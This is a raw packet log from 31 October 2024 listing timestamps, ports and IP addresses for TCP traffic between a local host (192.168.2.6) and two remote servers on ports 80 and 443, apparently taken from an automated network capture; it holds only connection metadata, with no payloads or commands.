Oct 31, 2024 09:07:09.191077948 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.191091061 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.191102028 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.191123962 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.191513062 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.191526890 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.191540956 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.191554070 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.191560030 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.191562891 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.191567898 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.191667080 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.192105055 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.192117929 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.192130089 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.192162037 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.192173958 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.235143900 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.235233068 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.235244989 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.235308886 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.235333920 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.235441923 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.235455990 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.235466003 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.235501051 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.235515118 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.235790014 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.235810041 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.235821009 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.235853910 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.235882998 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.277766943 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.277853966 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.277864933 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.277906895 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.278143883 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.278143883 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.302171946 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.302242041 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.302258968 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.302309990 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.302345991 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.302390099 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.306241989 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.306313038 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.306323051 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.306333065 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.306364059 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.306447029 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.306494951 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.306723118 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.306771040 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.306817055 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.306827068 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.306864977 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.307041883 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.307054996 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.307065010 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.307094097 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.307127953 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.307344913 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.307403088 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.307440042 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.307486057 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.307576895 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.307589054 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.307600021 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.307625055 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.307650089 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.307857990 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.307908058 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.307915926 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.307928085 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.307938099 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.307950020 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.307960987 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.307985067 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.308482885 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.308492899 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.308504105 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.308518887 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.308527946 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.308532953 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.308537006 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.308566093 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.309067965 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.309082985 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.309094906 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.309107065 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.309115887 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.309118986 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.309134960 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.309153080 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.322515965 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:09.322585106 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:09.322628975 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:09.322678089 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:09.322709084 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:09.322726011 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:09.322758913 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:09.347280025 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:09.347346067 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:09.347393036 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:09.347402096 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:09.347433090 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:09.347455025 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:09.352272034 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.352336884 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.352348089 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.352363110 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.352395058 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.352473974 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.352528095 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.352540970 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.352554083 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.352566004 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.352591038 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.352603912 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.352921009 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.352977037 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.394906044 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.394978046 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.395020008 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.395040989 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.395071030 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.395111084 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.419112921 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.419178963 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.419189930 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.419214964 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.419236898 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.419307947 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.419367075 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.423655987 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.423667908 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.423718929 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.423767090 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.423810959 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.423892021 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.423942089 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.423974991 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.423988104 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.424026012 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.424226999 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.424242973 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.424290895 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.424412966 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.424427986 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.424506903 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.424654961 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.424700975 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.424740076 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.424751997 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.424793005 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.424969912 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.424981117 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.424992085 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.425036907 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.425221920 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.425234079 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.425244093 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.425295115 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.425498009 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.425509930 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.425519943 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.425563097 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.425731897 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.425745010 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.425797939 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.425802946 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.425812006 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.425827026 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.425837994 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.425884962 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.425925970 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.426486969 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.426500082 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.426512003 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.426527023 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.426539898 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.426553965 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.463635921 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:09.463694096 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:09.463749886 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:09.463773012 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:09.463784933 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:09.463815928 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:09.469224930 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.469244957 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.469290972 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.469290018 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.469330072 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.469460011 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.469472885 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.469484091 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.469513893 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.469538927 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.469707012 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.469755888 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.469837904 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.469849110 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.469892979 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.469986916 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.469999075 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.470041037 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.512311935 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.512366056 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.512376070 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.512381077 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.512401104 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.512425900 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.536561012 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.536631107 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.536652088 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.536665916 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.536695957 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.536709070 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.540544987 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.540601015 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.540952921 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.540962934 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.540992022 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.540999889 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.541013002 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.541030884 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.541094065 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.541102886 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.541141033 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.541229963 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.541264057 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.541275024 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.541280031 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.541285992 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.541299105 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.541328907 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.541650057 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.541660070 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.541670084 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.541692019 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.541709900 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.541954041 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.542001963 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.542078972 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.542089939 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.542146921 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.542273045 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.542284012 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.542294025 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.542304993 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.542315960 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.542323112 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.542346001 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.542360067 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.542828083 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.542840004 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.542850018 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.542860985 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.542871952 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.542876959 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.542884111 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.542901039 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.542920113 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.543502092 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.543514013 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.543524027 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.543534994 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.543545961 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.543553114 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.543556929 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.543560982 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.543576002 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.543591022 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.543617010 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.557153940 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:09.557198048 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:09.557233095 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:09.557240963 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:09.557272911 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:09.557291031 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:09.581895113 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:09.581950903 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:09.581995964 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:09.582005024 CET	443	49711	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:09.582031965 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:09.582051039 CET	49711	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:09.584789038 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.584842920 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.584861040 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.584897041 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.586429119 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.586474895 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.586474895 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.586487055 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.586508989 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.586528063 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.586673021 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.586724043 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.586760044 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.586771965 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.586781979 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.586793900 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.586807966 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.586834908 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.629064083 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.629125118 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.629147053 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.629158974 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.629192114 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.629379988 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.629391909 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.629432917 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.653968096 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.654025078 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.654058933 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.654072046 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.654109001 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.657565117 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.657655954 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.657663107 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.657741070 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.657751083 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.657789946 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.658261061 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.658309937 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.658348083 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.658360958 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.658391953 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.658653021 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.658664942 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.658696890 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.658885002 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.658896923 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.658930063 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:09.659215927 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.659226894 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.659236908 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.659248114 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.659259081 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:09.659260035 CET	49709	80	192.168.2.6	45.88.105.105
